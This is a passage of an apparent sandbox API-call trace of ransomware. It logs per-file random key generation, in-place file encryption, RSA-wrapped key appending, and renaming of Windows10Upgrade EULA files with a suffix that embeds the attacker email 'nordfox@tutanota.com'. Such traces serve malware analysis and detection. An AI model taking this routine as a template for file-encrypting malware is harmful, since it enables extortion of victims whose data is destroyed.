lpNumberOfBytesWritten=0x2e1f9bc*=0x10f6d, lpOverlapped=0x0) returned 1 [0123.127] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cbf0 | out: hHeap=0x520000) returned 1 [0123.128] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0123.128] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10f6d [0123.128] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0123.128] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0123.128] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0123.129] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0123.129] CloseHandle (hObject=0x6d0) returned 1 [0123.129] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0123.129] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0123.129] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_it-it.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_it-it.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0123.132] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0123.132] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c398 | out: hHeap=0x520000) returned 1 [0123.132] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c758 | out: hHeap=0x520000) returned 1 [0123.132] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c5f0 [0123.132] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0123.133] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0123.133] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0123.133] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3508 | out: pbBuffer=0x5c3508) returned 1 [0123.133] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm", dwFileAttributes=0x80) returned 1 [0123.133] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60bf60 [0123.134] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0123.134] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60bf60 | out: hHeap=0x520000) returned 1 [0123.134] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hu-hu.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0123.134] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=84570) returned 1 [0123.134] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14a5a) returned 0x2e41f30 [0123.134] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14a5a) returned 0x2e56998 [0123.134] ReadFile (in: hFile=0x6d0, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x14a5a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x14a5a, lpOverlapped=0x0) returned 1 [0123.174] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-84570, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.174] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e56998*, nNumberOfBytesToWrite=0x14a5a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e56998*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14a5a, lpOverlapped=0x0) returned 1 [0123.175] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0123.175] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e56998 | out: hHeap=0x520000) returned 1 [0123.177] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x14a5a [0123.178] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0123.178] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0123.179] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0123.179] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c3508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3508*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0123.179] CloseHandle (hObject=0x6d0) returned 1 [0123.179] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0123.179] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0123.179] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hu-hu.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hu-hu.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0123.181] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0123.181] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c5f0 | out: hHeap=0x520000) returned 1 [0123.181] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c8c0 | out: hHeap=0x520000) returned 1 [0123.181] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60be70 [0123.181] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0123.181] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0123.181] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0123.181] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0123.182] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm", dwFileAttributes=0x80) returned 1 [0123.182] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c758 [0123.182] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0123.182] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c758 | out: hHeap=0x520000) returned 1 [0123.182] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hr-hr.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0123.182] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=64872) returned 1 [0123.183] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfd68) returned 0x60cbf0 [0123.183] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfd68) returned 0x2e41f30 [0123.184] ReadFile (in: hFile=0x6d0, lpBuffer=0x60cbf0, nNumberOfBytesToRead=0xfd68, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60cbf0*, lpNumberOfBytesRead=0x2e1f9bc*=0xfd68, lpOverlapped=0x0) returned 1 [0123.441] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-64872, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.441] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0xfd68, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0xfd68, lpOverlapped=0x0) returned 1 [0123.441] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cbf0 | out: hHeap=0x520000) returned 1 [0123.441] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0123.441] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xfd68 [0123.441] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0123.442] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0123.442] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0123.442] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0123.442] CloseHandle (hObject=0x6d0) returned 1 [0123.442] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0123.442] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0123.443] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hr-hr.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hr-hr.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0123.445] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0123.445] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60be70 | out: hHeap=0x520000) returned 1 [0123.445] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c410 | out: hHeap=0x520000) returned 1 [0123.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c320 [0123.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0123.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3418 [0123.445] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0123.445] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3418 | out: pbBuffer=0x5c3418) returned 1 [0123.445] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm", dwFileAttributes=0x80) returned 1 [0123.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c758 [0123.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0123.446] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c758 | out: hHeap=0x520000) returned 1 [0123.446] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_he-il.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0123.447] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=864647) returned 1 [0123.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd3187) returned 0x6fc020 [0123.449] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd3187) returned 0x3122020 [0123.452] ReadFile (in: hFile=0x6d0, lpBuffer=0x6fc020, nNumberOfBytesToRead=0xd3187, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc020*, lpNumberOfBytesRead=0x2e1f9bc*=0xd3187, lpOverlapped=0x0) returned 1 [0123.546] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-864647, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.546] WriteFile (in: hFile=0x6d0, lpBuffer=0x3122020*, nNumberOfBytesToWrite=0xd3187, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3122020*, lpNumberOfBytesWritten=0x2e1f9bc*=0xd3187, lpOverlapped=0x0) returned 1 [0123.549] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6fc020 | out: hHeap=0x520000) returned 1 [0123.553] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3122020 | out: hHeap=0x520000) returned 1 [0123.558] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xd3187 [0123.558] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0123.558] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0123.558] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0123.559] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c3418*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3418*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0123.559] CloseHandle (hObject=0x6d0) returned 1 [0123.559] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0123.559] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3418 | out: hHeap=0x520000) returned 1 [0123.559] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_he-il.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_he-il.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0123.593] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0123.593] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c320 | out: hHeap=0x520000) returned 1 [0123.593] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60bd08 | out: hHeap=0x520000) returned 1 [0123.593] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c8c0 [0123.594] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0123.594] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0123.594] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0123.594] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0123.594] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm", dwFileAttributes=0x80) returned 1 [0123.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c758 [0123.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0123.595] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c758 | out: hHeap=0x520000) returned 1 [0123.595] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-fr.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0123.595] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69386) returned 1 [0123.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10f0a) returned 0x60cbf0 [0123.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10f0a) returned 0x2e41f30 [0123.595] ReadFile (in: hFile=0x6d0, lpBuffer=0x60cbf0, nNumberOfBytesToRead=0x10f0a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60cbf0*, lpNumberOfBytesRead=0x2e1f9bc*=0x10f0a, lpOverlapped=0x0) returned 1 [0123.608] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-69386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.608] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0x10f0a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10f0a, lpOverlapped=0x0) returned 1 [0123.608] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cbf0 | out: hHeap=0x520000) returned 1 [0123.608] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0123.608] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10f0a [0123.608] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0123.608] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0123.609] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0123.609] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0123.609] CloseHandle (hObject=0x6d0) returned 1 [0123.609] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0123.609] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0123.609] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-fr.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-fr.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0123.616] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0123.616] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c8c0 | out: hHeap=0x520000) returned 1 [0123.616] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60bc90 | out: hHeap=0x520000) returned 1 [0123.616] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c668 [0123.616] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4638 [0123.617] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0123.617] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4638 | out: pbBuffer=0x5c4638) returned 1 [0123.617] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0123.617] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm", dwFileAttributes=0x80) returned 1 [0123.617] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c938 [0123.617] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0123.617] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c938 | out: hHeap=0x520000) returned 1 [0123.617] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-ca.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0123.618] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69386) returned 1 [0123.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10f0a) returned 0x60cbf0 [0123.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10f0a) returned 0x2e41f30 [0123.618] ReadFile (in: hFile=0x6d0, lpBuffer=0x60cbf0, nNumberOfBytesToRead=0x10f0a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60cbf0*, lpNumberOfBytesRead=0x2e1f9bc*=0x10f0a, lpOverlapped=0x0) returned 1 [0123.628] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-69386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.628] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0x10f0a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10f0a, lpOverlapped=0x0) returned 1 [0123.629] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cbf0 | out: hHeap=0x520000) returned 1 [0123.629] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0123.629] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10f0a [0123.629] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0123.629] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0123.629] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c4638*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4638*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0123.630] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0123.630] CloseHandle (hObject=0x6d0) returned 1 [0123.630] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4638 | out: hHeap=0x520000) returned 1 [0123.630] HeapFree (in: hHeap=0x520000, 